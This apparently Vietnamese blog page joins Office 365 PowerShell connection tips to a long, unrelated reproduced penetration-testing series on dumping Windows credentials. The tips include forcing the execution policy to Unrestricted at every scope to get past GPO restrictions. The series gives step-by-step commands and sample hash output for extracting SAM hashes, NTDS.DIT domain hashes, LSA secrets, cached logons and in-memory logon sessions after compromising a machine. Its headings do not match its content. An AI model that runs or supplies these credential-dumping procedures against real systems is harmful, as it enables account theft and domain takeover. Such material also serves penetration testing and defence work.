Click Start > All Programs > Microsoft Online Services (Folder) and select Microsoft Online Services Module for Windows PowerShell

hoặc Windows Azure Active Directory > Windows Azure Active Directory Module for Windows PowerShell

 

Method 1:

How to connect BOTH PowerShell (MOSMWP) and (PS) in one session using Microsoft Online Services Module for Windows PowerShell and Windows PowerShell to Exchange online (O365).

Copy and paste the commands below:

$LiveCred = Get-Credential
Connect-MSOLservice –Credential $livecred
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri
https://ps.outlook.com/powershell/ -Credential $LiveCred -Authentication Basic -AllowRedirection
Import-PSSession $Session

Method 2:

How to Connect to Exchange online (O365) using the Microsoft Online Services Module for Windows PowerShell session (MOSMWP)

Import-Module MSOnline
$Creds = Get-Credential
Connect-MsolService –Credential $Creds

Method 3:

$cred=Get-Credential
Connect-MsolService -Credential $cred

How to connect BOTH commands in one session using Regular Windows PowerShell PS (Blue):

Import-module msonline
Connect-MSOLservice
$LiveCred = Get-Credential
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri
https://ps.outlook.com/powershell/ -Credential $LiveCred -Authentication Basic -AllowRedirection
Import-PSSession $Session

To connect to regular Windows PowerShell 2.0 run the command bellow:

$LiveCred = Get-Credential
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri
https://ps.outlook.com/powershell/ -Credential $LiveCred -Authentication Basic -AllowRedirection
Import-PSSession $Session



1. Additional troubleshooting information:

To Verify the version application, run the command below:

Get-PSSnapin

To Verify that WinRMto connect with O365, run the following commands together:

net start winrm
winrm get winrm/config/client/auth

To Configure WinRM to support basic authentication:
winrm set winrm/config/client/auth @{Basic=”true”}

If The customer was getting some sorts of restriction, the customer enter the following command “

To fix this issue use Run the command bellow:

Set-ExecutionPolicy RemoteSigned

Set-ExecutionPolicy Unrestricted

If the organization has a GPO that has restricted policy, run ther command below:

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy unrestricted -force

Additional commands:

Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy unrestricted -force

Set-ExecutionPolicy -Scope MachinePolicy -ExecutionPolicy unrestricted -force

Set-ExecutionPolicy -Scope UserPolicy -ExecutionPolicy unrestricted -force

Set-ExecutionPolicy -Scope Process -ExecutionPolicy unrestricted -force

For more information click here

2. Assign the administrator in the “Organization Management”

If the administrator are having credential issues try the following steps:

In the Exchange Control Panel

1. Select Manage My Organization > Roles & Auditing > Administrator Roles.

2. Click “Organization Management” > details then Add the user as “Member” > Save

Administrator Role Groups in Exchange Online

  • 3. Administrators cannot authenticate to Office 365 by using the following management tools:
    • Microsoft Online Services Directory Synchronization tool (on the directory synchronization server)
    • Microsoft Online Services Module for Windows PowerShell (on a computer on which it is installed)
    • Network connectivity to Office 365 is limited.
    • The firewall, proxy servers, or both require local authentication.
    • Prerequisites of the rich client application are not met.
    • An old version of the Microsoft Online Services Sign-in Assistant is installed.
    • The rich client application is not configured for Office 365.

    Resolution 1: Network connectivity is limited

    Use a browser and try to visit http://www.msn.com

    . If you cannot access this website, troubleshoot network connectivity issues.

    1. At a command prompt, use the ipconfig and ping tools to troubleshoot IP connectivity. For more information about how to do this, click the following article number to view the article in the Microsoft Knowledge Base:
      169790

      How to troubleshoot basic TCP/IP problems

    2. At a command prompt, run nslookup http://www.msn.com to determine whether DNS is resolving Internet server names.
    3. Make sure that the proxy server settings in Internet Options reflect the appropriate proxy server, if a proxy server is used in the local network.
    4. If a Forefront Threat Management Gateway (TMG) firewall is installed on the boundary of the network and the firewall requires client authentication, you might have to install and configure the Forefront TMG client program on the client device for Internet access. Contact your Office 365 administrator for help.

    Resolution 2: Firewall or proxy servers require additional authentication

    To resolve this issue, configure an exception for Microsoft Online Services URLs and applications from the authentication proxy. For example, if you are running Microsoft Internet Security and Acceleration Server (ISA) 2006, create an “allow” rule that meets the following criteria:

    • Allow outbound connections to the following destination: *.microsoftonline.com
    • Allow outbound connections to the following destination: *.microsoftonline-p.com
    • Allow outbound connections to the following destination: *.sharepoint.com
    • Allow outbound connections to the following destination: *.outlook.com
    • Allow outbound connections to the following destination: *.lync.com
    • Allow outbound connections to the following destination: osub.microsoft.com
    • Ports 80/443
    • Protocols TCP and HTTPS
    • Rule must apply to all users.
    • HTTPS/SSL time-out set to 8 hours

    Làm thế nào để đồng bộ Active Directory Sync trong khi Username và Password bị mã hoá theo OS 32/64bit ? (tiếp theo)


    Phần 1: tìm hiểu về các cơ chế lưu hash password trên OS

    Windows Security Account Manager
    Slightly modified definition from Wikipedia:

    The Security Accounts Manager (SAM) is a registry file in Windows NT and later versions until the most recent Windows 7. It stores users’ passwords in a hashed format (in LM hash and NTLM hash). Since a hash function is one-way, this provides some measure of security for the storage of the passwords.

    Generally, dumping operating system users’ password hashes is a common action following a compromise of a machine: getting access to the password hashes might open the doors to a variety of attacks including, but not limited to, authenticate with the hash over SMB to other systems where passwords are reused, password policy analysis and pattern recognition, password cracking, etc.

    Depending on the type of access that you have got to the target, you can retrieve the password hashes from SAM in different ways.

    Physical access

    Given physical access to the system, typically during a laptop assessment or a successful social engineering engagement, the preferred way to safely dump the password hashes is to power off the machine, enter the BIOS menu at power-on time, review the boot order to allow boot from the optical drive and USB drive before local hard-disk, save the settings and reboot the system with your favourite GNU/Linux live distribution CD or USB stick. Two widely known tools to dump the local users’ hashes from the SAM file, given the Windows file system block file, are bkhive and samdump2:

    • bkhive – dumps the syskey bootkey from a Windows system hive.
    • samdump2 – dumps Windows 2k/NT/XP/Vista password hashes.

    These tools are generally included in many GNU/Linux live distributions. If they’re not, make sure to bring a copy of them with you.

    Usage:

    # bkhive
    bkhive 1.1.1 by Objectif Securite
    http://www.objectif-securite.ch
    original author: ncuomo@studenti.unina.it

    Usage:
    bkhive systemhive keyfile

    # samdump2
    samdump2 1.1.1 by Objectif Securite
    http://www.objectif-securite.ch
    original author: ncuomo@studenti.unina.it

    Usage:
    samdump2 samhive keyfile

    Example of retrieving the SAM hashes from a Windows partition /dev/sda1:

    # mkdir -p /mnt/sda1
    # mount /dev/sda1 /mnt/sda1
    # bkhive /mnt/sda1/Windows/System32/config/SYSTEM /tmp/saved-syskey.txt
    # samdump2 /mnt/sda1/Windows/System32/config/SAM /tmp/saved-syskey.txt > /tmp/hashes.txt

    In the event that you have not got bkhive or samdump2 with you, you can fall-back to copy the SYSTEM and SAM files from /mnt/sda1/Windows/System32/config to your USB stick and import them to any tool that is able to extract the SAM hashes from them: Cain & Abel, creddump and mimikatz are some available tools.

    Bypass login prompt

    If you are looking into bypassing the login prompt rather than dumping users’ password hashes, some smart people have came up with innovative approaches:

    • BootRoot is a project presented at Black Hat USA 2005 by researchers Derek Soeder and Ryan Permeh, as an exploration of technology that custom boot sector code can use to subvert the Windows kernel as it loads. The eEye BootRootKit is a boot sector-based NDIS backdoor that demonstrates the implementation of this technology.
    • SysRQ2 is a bootable CD image that allows a user to open a fully privileged (SYSTEM) command prompt on Windows 2000, Windows XP, and Windows Server 2003 systems by pressing Ctrl+Shift+SysRq at any time after startup. It was first demonstrated at Black Hat USA 2005 by researchers Derek Soeder and Ryan Permeh as an example of applied eEye BootRoot technology. Use the “create CD from ISO image” feature of your preferred CD burning software to create a bootable SysRq CD.
    • Kon-Boot is an prototype piece of software which allows to change contents of a linux kernel and Windows kernel on the fly (while booting). In the current compilation state it allows to log into a linux system as root user without typing the correct password or to elevate privileges from current user to root. For Windows systems it allows to enter any password protected profile without any knowledge of the password.

    Password reset

    Alternatively you can boot the machine with the bootdisk live CD or USB stick and use the chntpw utility to reset any Windows local user’s credentials.

    Post-exploitation scenario

    The typical scenario here is that you have compromised a Windows machine by any means and have got shell access as an administrative user. Firstly, you need to escalate your privileges to SYSTEM user. A simple way is to use Sysinternals’ PsExec utility:

    C:\>psexec.exe -i -s cmd.exe

    Although, there are several other techniques too, but this is outside of the scope of this post.

    Legacy techniques

    On Windows NT and Windows 2000 systems you can use Ntbackup utility part of the MS-DOS subsystem: Backup the system state into a file locally on the machine you have compromised, then using Ntbackup again, restore the system state stuff to a local directory without preserving the security. Once complete, you will have the SAM and SYSTEM files. You need about 280Mb for the initial backup – typical for a Windows 2000 with current service packs and hot fixes.
    On modern releases of Windows, you can use Wbadmin, an alternative to Ntbackup.

    Another solution is to use regback.exe part of the Windows 2000 Resource Kit Tools. This is slightly easier as it only dumps the specific files:

    C:\>regback.exe C:\backtemp\SAM machine sam
    C:\>regback.exe C:\backtemp\SYSTEM machine system

    If you cannot get regback.exe to work, on Windows XP and above systems use regedit.exe or reg.exe. Using reg.exe:

    C:\>reg.exe save HKLM\SAM sam
    The operation completed successfully
    C:\>reg.exe save HKLM\SYSTEM sys
    The operation completed successfully

    Using regedit.exe:

    • Execute regedit.exe from Start / Run prompt.
    • Open up Computer\HKEY_LOCAL_MACHINE and right-click the SAM section and select Export.
    • Change the Save as type setting to Registry Hive Files and save as SAM.
    • Same steps with SYSTEM hive.

    Lastly, you can also get the SAM and SYSTEM files from C:\Windows\repair\. Although this directory contains outdated copies of the original C:\Windows\System32\config\ files so it might not reflect the current users’ credentials.

    Volume Shadow Copies technique

    This technique is fairly recent and was first illustrated by Tim Tomes. It consists of abusing the Volume Shadow Copies functionality in modern Windows operating systems to access locked system files like C:\Windows\System32\config’s SAM and SYSTEM and others.

    You can use the Volume Shadow Copy Management command line interface, vssown, to leverage this technique as follows.

    List shadow copies:

    C:\>cscript vssown.vbs /list
    Microsoft (R) Windows Script Host Version 5.8
    Copyright (C) Microsoft Corporation. All rights reserved.

    SHADOW COPIES
    =============

    As expected, no shadow copies initially.

    Verify the status of the Volume Shadow Service (VSS):

    C:\>cscript vssown.vbs /status
    Microsoft (R) Windows Script Host Version 5.8
    Copyright (C) Microsoft Corporation. All rights reserved.

    [*] Stopped

    C:\>cscript vssown.vbs /mode
    Microsoft (R) Windows Script Host Version 5.8
    Copyright (C) Microsoft Corporation. All rights reserved.

    [*] VSS service set to ‘Manual’ start mode.

    In this case, once we are done, we need to restore it to the initial state (Stopped).

    Create a new shadow copy:

    C:\>cscript vssown.vbs /create
    Microsoft (R) Windows Script Host Version 5.8
    Copyright (C) Microsoft Corporation. All rights reserved.

    [*] Attempting to create a shadow copy.

    Verify that the shadow copy has been created:

    C:\>cscript vssown.vbs /list
    Microsoft (R) Windows Script Host Version 5.8
    Copyright (C) Microsoft Corporation. All rights reserved.

    SHADOW COPIES
    =============

    [*] ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853}
    [*] Client accessible: True
    [*] Count: 1
    [*] Device object: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
    [*] Differnetial: True
    [*] Exposed locally: False
    [*] Exposed name:
    [*] Exposed remotely: False
    [*] Hardware assisted: False
    [*] Imported: False
    [*] No auto release: True
    [*] Not surfaced: False
    [*] No writers: True
    [*] Originating machine: LAPTOP
    [*] Persistent: True
    [*] Plex: False
    [*] Provider ID: {B5946137-7B9F-4925-AF80-51ABD60B20D5}
    [*] Service machine: LAPTOP
    [*] Set ID: {018D7854-5A28-42AE-8B10-99138C37112F}
    [*] State: 12
    [*] Transportable: False
    [*] Volume name: \\?\Volume{46f5ef63-8cca-11e0-88ac-806e6f6e6963}\

    You need to take note of the Device object value for the next step and the ID for the cleanup step.

    Pull the following files from a shadow copy:

    C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .C:\>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .

    You have just copied over SAM and SYSTEM files from the shadow copy to the C:\ root folder.

    Cleanup:

    C:\>cscript vssown.vbs /delete {D79A4E73-CCAB-4151-B726-55F6C5C3A853}

    Microsoft (R) Windows Script Host Version 5.8
    Copyright (C) Microsoft Corporation. All rights reserved.

    [*] Attempting to delete shadow copy with ID: {D79A4E73-CCAB-4151-B726-55F6C5C3A853}

    Eventually, restore to original Stop status:

    C:\>cscript vssown.vbs /stop

    Microsoft (R) Windows Script Host Version 5.8
    Copyright (C) Microsoft Corporation. All rights reserved.

    [*] Signal sent to stop the VSS service.

    In-memory technique

    The concept behind in-memory dump of SAM hashes it to inject a DLL into the LSASS system process or, generally speaking, parsing the memory for specific patterns and inspect these memory pages’ content. The former action can lead to a Blue Screen of Death (BSoD) condition following a crash of the LSASS process therefore this action is not recommended on production environments: prefer registry hive copy (regback.exe and reg.exe/regedit.exe) and Volume Shadow Copies techniques instead. Nevertheless, in some specific instances, the in-memory technique is required.

    The most widely known standalone tool to dump SAM hashes is probably fgdump, the successor of pwdump6, both tools developed by the foofus team. The main advantage of fgdump over pwdump6 is that it works on Windows Vista and later versions. Although, I have seen them both failing under some circumstances. More reliable tools include pwdump7 from Andres Tarasco and the gsecdump from TrueSec. Both work on 32-bit and 64-bit systems across all versions of Windows. Although, the former cannot successfully dump users’ password hashes on domain controllers as it reads the SAM hashes from the registry rather than injecting into LSASS process. Despite not working on 64-bit systems, another popular and reliable tool is PWDumpX by Reed Arvin.

    The following screen-shot shows the dump of SAM users with gsecdump on a Windows Server 2003 SP2 32-bit:

    Dump of local users with gsecdump by code injection into the LSASS process

    The Metasploit Framework also has its own post-exploitation modules, Meterpreter built-in command and dated Meterpreter script to dump the SAM hashes. Details on how these pieces of code work within the framework and which techniques they implement can be found on these blog posts by HD Moore.

    Needless to say that there are more options and knowledge of which one to use within the target environment is important. In order to facilitate this task, I have listed the relevant tools, their capabilities, where they do work and, most importantly, where they are known to fail on this spread-sheet.

     

    Phần 2: Tổng kết vấn đề lưu hash password

    Conclusions on Windows Security Account Manager
    In the previous post of this series, I briefly explained what the Windows Security Account Manager (SAM) is, how to dump Windows local users’ password hashes from SAM having physical access to the target system or following a remote compromise of the machine, post-exploitation.
    Remotely, there exist three possible techniques: legacy, volume shadow copies and in-memory dump. Lastly, I highlighted the most widely used tools for the in-memory hashes dump and I collected and released them in this spread-sheet along with other tools that I will discuss later.
    I want to reiterate the following concept: given file transfer ability between your machine and the target system, always prefer to copy the SAM and SECURITY files over from the target and extract the password hashes offline afterwards.
    Although, this safe approach to password hashes dump does not guarantee that you are going to obtain all Windows local accounts’ hashes. If you suspect that this is case, you will have to dump the hashes via in-memory dump and merge the results. Odd, but I have seen this happening quite a few times already and I am still discussing standalone Windows workstations, not part of a Windows domain.
    Preferred tools
    Personally, my first choice for standalone SAM hashes dump is pwdump7: it works on all Windows version from 2000 on both 32-bit and 64-bit systems. However, this tool does not perform an in-memory dump and could miss out hashes. I always run gsecdump along with pwdump7 to cover both techniques across all Windows versions and architecture and carefully launched once at a time do crash the LSASS process.
    When I have got a Metasploit Meterpreter shell onto the system, I rely on the post-exploitation module smart_hashdump by Carlos Perez, falling back to its predecessor post-exploitation module hashdump when it fails.
    Active Directory
    Definition from Wikipedia:

    Active Directory serves as a central location for network administration and security. It is responsible for authenticating and authorizing all users and computers within a network of Windows domain type, assigning and enforcing security policies for all computers in a network […] when a user logs into a computer that is part of a Windows domain, it is Active Directory that verifies his or her password […]

    This definition comes into play when you have compromised a system part of a Windows domain. In order to quickly extend your control over the whole domain, the goal is to compromise the root domain controller. If you are within a child domain, the final goal is to achieve Enterprise Domain Administrator level access onto the root domain controller of the Windows forest’s parent domain. There are plenty of resources on the Internet discussing domain escalation and this is out of the scope of this post series. A blog post that summarizes the best techniques and goes straight to the point is written by pentestmonkey.net. Alternatively, you can pass the local users’ hashes obtained from your entry point machines to keimpx and spray them against the domain controllers: if the system administrator reuses the same local Administrator password across all machines, you are in!
    Regardless of how you have compromised a domain controller, preferably the root domain controller as it is the first to get updated with changes to user accounts, the important is that you have got an administrator (local or domain) shell onto it.
    Database file NTDS.DIT
    The goal now is to dump the domain users’ password hashes. These are stored, along with nearly all the information that is accessible in the Active Directory (user objects, groups, membership information, etc), in a binary file, %SystemRoot%\ntds\NTDS.DIT.
    This file is locked by the system. You can use the volume shadow copies technique illustrated in the previous post to copy it along with the SYSTEM file over to your machine.
    Alternatively, use the ntdsutil snapshot facility introduced in Windows Server 2008. It will create a snapshot of the active directory database allowing you to copy ntds.dit and SYSTEM file. This technique is detailed on a Microsoft TechNet article.
    Extract hashes from NTDS.DIT
    You can use the passcape’s Windows Password Recovery tool to extract hashes from ntds.dit.
    Alternatively, you can use a couple of tools (ntds_dump_hash.zip) developed by Csaba Barta and documented in his paper titled Research paper about offline hash dump and forensic analysis of ntds.dit. These tools are used to:

    • Extract the required data from ntds.dit: esedbdumphash.
    • Decrypt the hashes and interpreting other information regarding the user account: dsdump.py, dsdumphistory.py, dsuserinfo.py.

    Download and compile the tool:

    $ wget http://csababarta.com/downloads/ntds_dump_hash.zip
    $ unzip ntds_dump_hash.zip
    $ cd libesedb
    $ ./configure && make

    Use esedbdumphash to extract the datatable from ntds.dit:

    $ cd esedbtools
    $ ./esedbdumphash -v -t /tmp/output <ntds.dit file>
    $ ls -1 /tmp/output.export/
    datatable

    Use dsdump.py to dump the hashes from the datatable file using the bootkey (SYSKEY) from the SYSTEM hive:

    $ cd ../../creddump/
    $ chmod +x *.py
    $ ./dsuserinfo.py /tmp/output.export/datatable
    $ ./dsdump.py <SYSTEM file> /tmp/output.export/datatable –include-locked –include-disabled > domain_hashes.txt

    Like standalone machines, you can use the in-memory technique too to dump the domain users’ hashes. The tools are the same and work equally. Just be cautious when injecting into the LSASS process of a domain controller: in the worst case scenario, you will have to reboot an infrastructure-critical server.
    I have added these tools and improved the spread-sheet.
    Updates on January 4, 2012
    During December 2011, Csaba Barta has dug some more into NTDS.dit structure and as a result he has developed a new framework called NTDSXtract to extract information from database tables extracted with libesedb from ntds.dit file: both tools now support 64-bit derived database files too.

    Download and install the latest release of libesedb.

    Extract the database tables from ntds.dit:

    $ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit <ntds.dit file>
    esedbexport 20111210

    Opening file.
    Exporting table 1 (MSysObjects) out of 12.
    Exporting table 2 (MSysObjectsShadow) out of 12.
    Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
    Exporting table 4 (datatable) out of 12.
    Exporting table 5 (hiddentable) out of 12.
    Exporting table 6 (link_table) out of 12.
    Exporting table 7 (sdpropcounttable) out of 12.
    Exporting table 8 (sdproptable) out of 12.
    Exporting table 9 (sd_table) out of 12.
    Exporting table 10 (MSysDefrag2) out of 12.
    Exporting table 11 (quota_table) out of 12.
    Exporting table 12 (quota_rebuild_progress_table) out of 12.
    Export completed.

    $ ls -1 /tmp/ntds.dit.export/
    datatable.3
    hiddentable.4
    link_table.5
    […]

    Use NTDSXtract to parse the datatable and extract users’ information, including password hashes and history:

    ~/NTDSXtract 1.0$ python dsusers.py /tmp/ntds.dit.export/datatable.3 /tmp/ntds.dit.export/link_table.5 –passwordhashes <SYSTEM file> –passwordhistory <SYSTEM file> –certificates –supplcreds <SYSTEM file> –membership > /tmp/ntds.dit.output

    Use this small script that I have put together to process the output of NTDSXtract‘s dsusers.py into a “pwdump-alike” penetration tester’s friendly format:

    $ python ntdstopwdump.py /tmp/ntds.dit.output
    Administrator:500:NO PASSWORD*********************:09b1708f0ea4832b6d87b0ce07d7764b:::
    Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::

    Phần 3: lưu và rò vết Mật khẩu

    Password history
    In the previous two posts of this series, I discussed how to dump Windows local users’ password hashes (SAM) and Windows domain users’ password hashes from domain controllers (ntds.dit).
    When the password policy setting is configured to enforce password history, Windows stores a certain number of used passwords before an old password can be reused. The following screenshot shows you where this policy can be set.

    Local Security Policy (secpol.msc) / Account Policies / Password Policy / Enforce password history

    By default on workstations, this value is set to 0 and on domain controllers it is set to 24. This means that when dumping domain users’ hashes from active directory’s ntds.dit file, there are high chances to dump also the password history allowing you, during the password cracking phase, to recognise patterns used by the target users.
    Despite not being current password hashes, pattern identification can lead to further attacks. For instance, ease of guessing passwords used against standalone services at later stages of your post-exploitation. Therefore, never underestimate the added value provided by dumping and cracking the password history.
    Many of the tools introduced so far can dump the password history: Cain & Abel, PWDumpX along others. pwhist from Toolcrypt is also a valid option.
    LSA secrets
    LSA secrets is an area in the registry where Windows stores important information. This includes:

    • Account passwords for services that are set to run by operating system users as opposed to Local System, Network Service and Local Service.
    • Password used to logon to Windows if auto-logon is enabled or, generally, the password of the user logged to the console (DefaultPassword entry).

    LSA secrets are stored in registry hive HKEY_LOCAL_MACHINE/Security/Policy/Secrets. Each secret has its own key. The parent key, HKEY_LOCAL_MACHINE/Security/Policy, contains the data necessary for accessing and decoding the secrets.
    Dump LSA secrets
    As per SAM hashes, the LSA secrets can be accessed by DLL injection into the lsass.exe process or from the registry files.
    If you are Administrator and the target system is used in production, I recommend you to choose the safe path and copy off the system the registry files: SYSTEM and SECURITY: you can use the legacy registry hive copy (reg.exe/regedit.exe) or the volume shadow copies technique illustrated in the first post. Cain & Abel can extract LSA secrets from these files.
    Alternatively, there are numerous tools that can be used to dump LSA secrets by injecting into lsass.exe process: gsecdump has proved to be the most reliable for LSA secrets, working across all Windows versions and architectures. On 32-bit architecture, the original lsadump2 has proved to be good too. Despite my expectations, the two NirSoft tools (LSASecretsDump and LSASecretsView) have failed to dump services’ account passwords, regardless of the architecture.
    Regardless of the technique used, the passwords extracted are UTF-16 encoded. This means that they are in clear-text as opposed to SAM hashes. You can read a detailed description of the LSA secrets format here by Brendan Dolan-Gavitt.
    The following screen-shot shows the output of gsecdump on a Windows Server 2003 machine running IBM DB2 and PostgreSQL. Both database management systems run as Windows local users:

    Output of gsecdump.exe -l to dump LSA secrets

    Threats posed by LSA secrets

    Now, imagine that you have compromised a server part of a Windows domain, you have got a shell as Local System. If you want to extend your control over the network perimeter, one of the viable ways is to verify if any service runs as real operating system users and, if so, extract their clear-text password from LSA secrets.
    You can run services.msc from Start / Run and sort the entries by Log On As column to check this quickly. The following screen-shot demonstrates this:

    Services running as local users on Windows

    Obviously, the built-in sc.exe command can do the same as well as other less known tools.
    It is common to identify enterprise software like Veritas Netbackup, Microsoft SQL Server, Microsoft Exchange and others running as real users. More dangerously, sometimes system administrators opt to run services as domain users, if not domain administrators.
    This is clearly wrong and poses a high threat to overall security of the target Windows domain because, as an attacker, you can dump the LSA secrets and use the clear-text domain administrator password to login to the root domain controller and takeover the Windows network.

    Cached domain logon information
    Windows machines can be standalone workstations or part of a Windows domain in the role server or workstation.
    When a user logs onto a workstation part of a domain, technically he can either log as a local user or a domain user given that he has the credentials.
    When logging as a domain user, three information are required: username, password and domain name. The latter is usually provided as a drop-down menu listing all domains that the system is part of.
    Given this information, when the domain user logs onto the system, the provided password is hashed and checked over the network against the domain controller’s valid password hash (physically stored within ntds.dit file). This process is handled once again by the lsass.exe process.
    LSASS first checks if the domain controller is available. If so, it proceeds with the password hash matching step and, depending on the result, it allows or denies access to the system to the authenticating domain user.
    In the event that none of the domain controllers are available, the legitimate domain user would not be able to login onto the system. To avoid this from happening, Microsoft has long ago introduced the cached domain logon information mechanism in Windows.
    Definition from Microsoft:

    All previous users’ logon information is cached locally so that, in the event that a domain controller is unavailable during subsequent logon attempts, they are able to log on […]

    Therefore, when the domain controllers are not available, the domain user can still log onto the domain machine. The only caveats being that he has previously successfully logged and that the system is configured to cache the domain logon information. The following screenshot shows you where this policy is set.

    Local Security Policy (secpol.msc) / Local Policies / Security Options / Interactive logon: Number of previous logons to cache (in case domain controller is not available)

    You can also read the value of this policy in registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount.
    By default Windows XP and above are configured to cache 10 or more domain logon information.
    Cached domain logon information is stored in registry hives HKEY_LOCAL_MACHINE/Security/CACHE/NL$X with X being a number. These registry hives are accessible by Local System and tools exist to dump them.
    Dump cached domain logon information
    Like other hashes, these hashes can be accessed by DLL injection into the lsass.exe process or from the registry files.
    For offline dump, copy off the system the registry files SYSTEM and SECURITY: you can use the legacy registry hive copy (reg.exe/regedit.exe) or the volume shadow copies technique illustrated in the first post. Cain & Abel, creddump by Brendan Dolan-Gavitt and Windows Password Recovery by passcape can extract cached domain logon information from these files.
    Alternatively, there are numerous tools that can dump this by DLL injection into lsass.exe process. On 32-bit architecture you can use the original cachedump by Arnaud Pilon which proved to be reliable also on recent Windows versions, fgdump or PWDumpX.
    Unfortunately though, none of the standalone free tools work on 64-bit architecture. In this case, you can rely on Metasploit Framework own post-exploitation module if you have got a Meterpreter shell onto the target system.
    Follows the output of cachedump on a Windows system part of a domain:

    C:\>cachedump.exe -v
    Service not found. Installing CacheDump Service (C:\cachedump.exe -s)
    CacheDump service successfully installed.
    Service started.
    user:2d9f0b052932ad18b87f315641921cda:lab:lab.internal
    Service currently active. Stopping service…
    Service successfully removed.

    Threats posed by cached domain logon information
    Similar scenario to LSA secrets dump: you have compromised a machine part of a Windows domain and have got a shell as Local System. There are no traces of domain users’ credentials from LSA secrets. Another step to extend your control over the domain? Check if the machine is configured to cache domain logon information as explained above. If so, dump them.
    Cached domain logon information cannot be directly used to authenticate to other systems as opposed to NT and LM password hashes. Nevertheless, you can crack them and use the clear-text password to authenticate to machines part of the relevant domain. I will cover password hashes cracking in depth in another blog post.
    Conceptually, caching domain logon information is effective and solves network administrators’ headaches to deal with domain users logons when the domain controllers are under maintenance or unavailable for whatever reason. Although, looking at it with the security lens, it clearly poses a security threat.

     

    Phần 5: Phiên đăng nhập

    Logon sessions
    Windows stores in memory information about every current and past successful logon. These are called logon session. This information includes the username, the domain or workgroup name and both the LM and NT password hashes.
    Every time a legitimate user logs onto a Windows system, the Local Security Authority (LSA) stores in memory this information. This happens regardless of the logon type: interactive logon to the console or remote logon via Remote Desktop Protocol (RDP).
    The image below from Hernan Ochoa illustrates this concept:

    Windows NT logon and authentication model

    The same information is stored for RunAs processes and services running as specific users. In the latter case, the clear-text password is stored in memory and can be retrieved in LSA secrets anyway.
    Exception being network logons, for instance over SMB or HTTP; these do not get stored because the NT/LM hashes never actually reach the server. A challenge-response mechanism is used for authentication.
    This sensible information is kept in memory because it is used for Single Sign-On (SSO) purposes.
    SSO technology is extensively used in Windows network, particularly within domains. This allows, for instance, a user logged into a certain system of the domain to access remote shares, shared resources like printers and HTTP proxy protected by NTLM authentication without the need to type in his clear-text credentials each time: Windows deals with the authentication for him transparently over the network by providing exactly what is stored in memory: username, domain/workgroup and password hashes.
    This authentication mechanism works because nowadays nearly all Windows services accept authentication with NT/LM hashes as an alternative to clear-text password. Exception being Remote Desktop Protocol.
    Dump logon sessions
    Logon sessions can be dumped given you have an administrative shell onto the target. There exist two techniques to dump logon sessions: code injection into lsass.exe process and reading of LSASS memory.
    There are several tools that can dump logon sessions: msvctl from TrueSec is a safe choices for Windows XP/2003 and is limited to 32-bit architecture. The updated version of gsecdump can dump logon sessions regardless of Windows version and architecture too. More recent tools include another nice piece of code from TrueSec, lslsass: this tool has been designed specifically for Windows Vista onwards and delivers reliable results regardless of the architecture.
    The most well known tools to manipulate Windows logon sessions are Windows Credentials Editor (WCE) and its predecessor, Pass-The-Hash Toolkit (PTK). Both are the result of thriving research by Hernan Ochoa, currently the founder of Amplia Security. His presentations include:

    • Pass-The-Hash Toolkit for Windows: Implementation & use presented at Hack In The Box Security Conference in Malaysia on late 2008. Despite being a dated presentation, it offers insight on the history and techniques used in post-exploitation scenarios, specifically focusing on the more generic Pass-the-Hash technique and its implementation in the Pass-The-Hash Toolkit.
    • WCE Internals presented at RootedCon in Madrid on early 2011. This presentation explains the inner workings of WCE including how Windows store credentials in memory pre and post Windows Vista.
    • Post-Exploitation with WCE presented on July 2011. Simple and effective high-level presentation with test cases. I recommend you reading this presentation before anything else if you are totally unfamiliar with logon sessions and pass-the-hash technique. Another good read is the tool’s FAQ page.

    Between these two tools, I prefer WCE for a number of reasons: it is one single executable, it is safer than all the other tools as it is the only one to implement the reading of LSASS memory technique as an alternative to performing code injection and it works across all Windows versions and on both architectures.

    For the purpose of this post, I have set a Windows Server 2003 R2 Service Pack 2 fully patched machine (NetBIOS name: w2k3r2) in the following state:

    • Local Administrator with a 15-characters long password logged interactively to the console.
    • Two local users, inquis and foobar, both connected over RDP, respectively using mstsc, the default RDP client on Windows, and rdesktop, a RDP client for Unix/Linux.
    • A few services, all related to IBM DB2 database management system, running as local administrator, db2admin.

    lslsass was deliberately excluded from my tests as it only works on Windows Vista onwards.

    All the tested tools were able dump the logon sessions successfully. Follows the output of Windows Credentials Editor:

    C:\>wce.exe -l

    WCE v1.2 (Windows Credentials Editor) – (c) 2010,2011 Amplia Security – by Hernan Ochoa (hernan@ampliasecurity.com)
    Use -h for help.

    Administrator:W2K3R2:00000000000000000000000000000000:237599E85CF684A6785A12ACD2E24E5C
    inquis:W2K3R2:0AC9A586623764E16591BB5472A3AD4A:89F411F435A93044E2E8AA4CEDFE0FBA
    foobar:W2K3R2:87DCEB9223BE0E08FD8E74C8CEB3053A:33D807D89B36ACDF2FAB42A361DE0B91
    db2admin:W2K3R2:3AE6CCCE2A2A253F93E28745B8BF4BA6:35CCBA9168B1D5CA6093B4B7D56C619B

    W2K3R2$:WORKGROUP:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0

    As you can see, these tools dump logon sessions and display the username, domain/workgroup name and LM/NT hashes very similarly to SAM hashes dump tools output. The main difference is that these tools display the domain/workgroup name as domain users can be logged onto the system too as opposed to the user ID field shown by pwdump-alike tools.
    The following screen-shot demonstrates the successful dump too:

    Dump of logon sessions with Windows Credentials Editor (WCE) on a Windows Server 2003 R2 machine where the Administrator is logged to the console, two users are logged remotely via RDP and one service is running as local user

